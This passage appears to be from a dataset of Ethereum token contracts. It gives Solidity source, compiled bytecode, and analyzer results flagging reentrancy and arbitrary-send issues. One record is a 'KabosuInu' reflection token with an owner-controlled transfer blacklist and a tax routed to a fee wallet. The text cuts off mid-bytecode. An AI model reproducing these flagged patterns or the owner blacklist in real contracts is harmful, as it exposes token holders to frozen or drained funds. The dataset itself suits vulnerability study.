_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610306578063c3c8cd8014610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018057806318160ddd146101b057600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118a1565b6103a1565b005b34801561014657600080fd5b5060408051808201909152600b81526a29b0b636b0b71026b7b7b760a91b60208201525b60405161017791906119e5565b60405180910390f35b34801561018c57600080fd5b506101a061019b366004611876565b61044e565b6040519015158152602001610177565b3480156101bc57600080fd5b5066038d7ea4c680005b604051908152602001610177565b3480156101e057600080fd5b506101a06101ef366004611836565b610465565b34801561020057600080fd5b506101386104ce565b34801561021557600080fd5b5060405160098152602001610177565b34801561023157600080fd5b50610138610240366004611968565b61088d565b34801561025157600080fd5b506101386102603660046117c6565b6108d5565b34801561027157600080fd5b50610138610920565b34801561028657600080fd5b506101c66102953660046117c6565b61094d565b3480156102a657600080fd5b5061013861096f565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610177565b3480156102e357600080fd5b5060408051808201909152600681526529a0a626a0a760d11b602082015261016a565b34801561031257600080fd5b506101a0610321366004611876565b6109e3565b34801561033257600080fd5b506101386109f0565b34801561034757600080fd5b506101386103563660046119a0565b610a26565b34801561036757600080fd5b506101c66103763660046117fe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90611a38565b60405180910390fd5b60005b815181101561044a576001600a600084848151811061040657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044281611b4b565b9150506103d7565b5050565b600061045b338484610af7565b5060015b92915050565b6000610472848484610c1b565b6104c484336104bf85604051806060016040528060288152602001611bb6602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102d565b610af7565b5060019392505050565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016103cb90611a38565b600f54600160a01b900460ff16156105525760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058d308266038d7ea4c68000610af7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c657600080fd5b505afa1580156105da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fe91906117e2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064657600080fd5b505afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e91906117e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c657600080fd5b505af11580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906117e2565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072e8161094d565b6000806107436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a657600080fd5b505af11580156107ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107df91906119b8565b5050600f805465048c2739500060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085557600080fd5b505af1158015610869573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044a9190611984565b6000546001600160a01b031633146108b75760405162461bcd60e51b81526004016103cb90611a38565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016103cb90611a38565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094057600080fd5b4761094a81611067565b50565b6001600160a01b03811660009081526002602052604081205461045f906110ec565b6000546001600160a01b031633146109995760405162461bcd60e51b81526004016103cb90611a38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610c1b565b600c546001600160a01b0316336001600160a01b031614610a1057600080fd5b6000610a1b3061094d565b905061094a81611170565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016103cb90611a38565b60008111610aa05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cb565b610abc6064610ab666038d7ea4c6800084611315565b90611394565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610bba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cb565b6001600160a01b038216610ce15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cb565b60008111610d435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6000546001600160a01b03848116911614801590610d6f57506000546001600160a01b03838116911614155b15610fd057600f54600160b81b900460ff1615610e56576001600160a01b0383163014801590610da857506001600160a01b0382163014155b8015610dc25750600e546001600160a01b03848116911614155b8015610ddc5750600e546001600160a01b03838116911614155b15610e5657600e546001600160a01b0316336001600160a01b03161480610e165750600f546001600160a01b0316336001600160a01b0316145b610e565760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cb565b601054811115610e6557600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea757506001600160a01b0382166000908152600a602052604090205460ff16155b610eb057600080fd5b600f546001600160a01b038481169116148015610edb5750600e546001600160a01b03838116911614155b8015610f0057506001600160a01b03821660009081526005602052604090205460ff16155b8015610f155750600f54600160b81b900460ff165b15610f63576001600160a01b0382166000908152600b60205260409020544211610f3e57600080fd5b610f4942600a611add565b6001600160a01b0383166000908152600b60205260409020555b6000610f6e3061094d565b600f54909150600160a81b900460ff16158015610f995750600f546001600160a01b03858116911614155b8015610fae5750600f54600160b01b900460ff165b15610fce57610fbc81611170565b478015610fcc57610fcc47611067565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101257506001600160a01b03831660009081526005602052604090205460ff165b1561101b575060005b611027848484846113d6565b50505050565b600081848411156110515760405162461bcd60e51b81526004016103cb91906119e5565b50600061105e8486611b34565b95945050505050565b600c546001600160a01b03166108fc611081836002611394565b6040518115909202916000818181858888f193505050501580156110a9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c4836002611394565b6040518115909202916000818181858888f1935050505015801561044a573d6000803e3d6000fd5b60006006548211156111535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b600061115d611402565b90506111698382611394565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121a57600080fd5b505afa15801561122e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125291906117e2565b8160018151811061127357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112999130911684610af7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d2908590600090869030904290600401611a6d565b600060405180830381600087803b1580156112ec57600080fd5b505af1158015611300573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113245750600061045f565b60006113308385611b15565b90508261133d8583611af5565b146111695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600061116983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611425565b806113e3576113e3611453565b6113ee848484611476565b80611027576110276005600855600a600955565b600080600061140f61156d565b909250905061141e8282611394565b9250505090565b600081836114465760405162461bcd60e51b81526004016103cb91906119e5565b50600061105e8486611af5565b6008541580156114635750600954155b1561146a57565b60006008819055600955565b600080600080600080611488876115ab565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ba9087611608565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e9908661164a565b6001600160a01b03891660009081526002602052604090205561150b816116a9565b61151584836116f3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155a91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006115878282611394565b8210156115a25750506006549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006115c88a600854600954611717565b92509250925060006115d8611402565b905060008060006115eb8e878787611766565b919e509c509a509598509396509194505050505091939550919395565b600061116983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102d565b6000806116578385611add565b9050838110156111695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b60006116b3611402565b905060006116c18383611315565b306000908152600260205260409020549091506116de908261164a565b30600090815260026020526040902055505050565b6006546117009083611608565b600655600754611710908261164a565b6007555050565b600080808061172b6064610ab68989611315565b9050600061173e6064610ab68a89611315565b90506000611756826117508b86611608565b90611608565b9992985090965090945050505050565b60008080806117758886611315565b905060006117838887611315565b905060006117918888611315565b905060006117a3826117508686611608565b939b939a50919850919650505050505050565b80356117c181611b92565b919050565b6000602082840312156117d7578081fd5b813561116981611b92565b6000602082840312156117f3578081fd5b815161116981611b92565b60008060408385031215611810578081fd5b823561181b81611b92565b9150602083013561182b81611b92565b809150509250929050565b60008060006060848603121561184a578081fd5b833561185581611b92565b9250602084013561186581611b92565b929592945050506040919091013590565b60008060408385031215611888578182fd5b823561189381611b92565b946020939093013593505050565b600060208083850312156118b3578182fd5b823567ffffffffffffffff808211156118ca578384fd5b818501915085601f8301126118dd578384fd5b8135818111156118ef576118ef611b7c565b8060051b604051601f19603f8301168101818110858211171561191457611914611b7c565b604052828152858101935084860182860187018a1015611932578788fd5b8795505b8386101561195b57611947816117b6565b855260019590950194938601938601611936565b5098975050505050505050565b600060208284031215611979578081fd5b813561116981611ba7565b600060208284031215611995578081fd5b815161116981611ba7565b6000602082840312156119b1578081fd5b5035919050565b6000806000606084860312156119cc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a11578581018301518582016040015282016119f5565b81811115611a225783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611abc5784516001600160a01b031683529383019391830191600101611a97565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af057611af0611b66565b500190565b600082611b1057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2f57611b2f611b66565b500290565b600082821015611b4657611b46611b66565b500390565b6000600019821415611b5f57611b5f611b66565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094a57600080fd5b801515811461094a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a39da66f1271874b8264c9d44a686e9a2fc11de76a0a14bae056b62cf46b60564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,787
0xf55a654f9eed704729b0875aff729e26a2ea5268
// SPDX-License-Identifier: Unlicensed //telegram @KabosuInu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Kabosu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "KabosuInu"; string private constant _symbol = "KabosuInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461010e578063a9059cbb146102b6578063c3c8cd80146102d6578063c9567bf9146102eb578063dd62ed3e1461030057600080fd5b80636fc3eaec1461024457806370a0823114610259578063715018a6146102795780638da5cb5b1461028e57600080fd5b806323b872dd116100d157806323b872dd146101c8578063313ce567146101e8578063537df3b6146102045780635932ead11461022457600080fd5b806306fdde031461010e57806308aad1f11461014f578063095ea7b31461017157806318160ddd146101a157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260098152684b61626f7375496e7560b81b602082015290516101469190611428565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046112e0565b610346565b005b34801561017d57600080fd5b5061019161018c366004611394565b61039d565b6040519015158152602001610146565b3480156101ad57600080fd5b5069d3c21bcecceda10000005b604051908152602001610146565b3480156101d457600080fd5b506101916101e3366004611353565b6103b4565b3480156101f457600080fd5b5060405160098152602001610146565b34801561021057600080fd5b5061016f61021f3660046112e0565b61041d565b34801561023057600080fd5b5061016f61023f3660046113c0565b610468565b34801561025057600080fd5b5061016f6104b0565b34801561026557600080fd5b506101ba6102743660046112e0565b6104dd565b34801561028557600080fd5b5061016f6104ff565b34801561029a57600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102c257600080fd5b506101916102d1366004611394565b610573565b3480156102e257600080fd5b5061016f610580565b3480156102f757600080fd5b5061016f6105b6565b34801561030c57600080fd5b506101ba61031b36600461131a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103795760405162461bcd60e51b81526004016103709061147d565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103aa338484610980565b5060015b92915050565b60006103c1848484610aa4565b610413843361040e856040518060600160405280602881526020016115e3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610bf6565b610980565b5060019392505050565b6000546001600160a01b031633146104475760405162461bcd60e51b81526004016103709061147d565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104925760405162461bcd60e51b81526004016103709061147d565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104d057600080fd5b476104da81610c30565b50565b6001600160a01b0381166000908152600260205260408120546103ae90610c6a565b6000546001600160a01b031633146105295760405162461bcd60e51b81526004016103709061147d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103aa338484610aa4565b600e546001600160a01b0316336001600160a01b0316146105a057600080fd5b60006105ab306104dd565b90506104da81610cee565b6000546001600160a01b031633146105e05760405162461bcd60e51b81526004016103709061147d565b601054600160a01b900460ff161561063a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610370565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610678308269d3c21bcecceda1000000610980565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b157600080fd5b505afa1580156106c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e991906112fd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c4648604051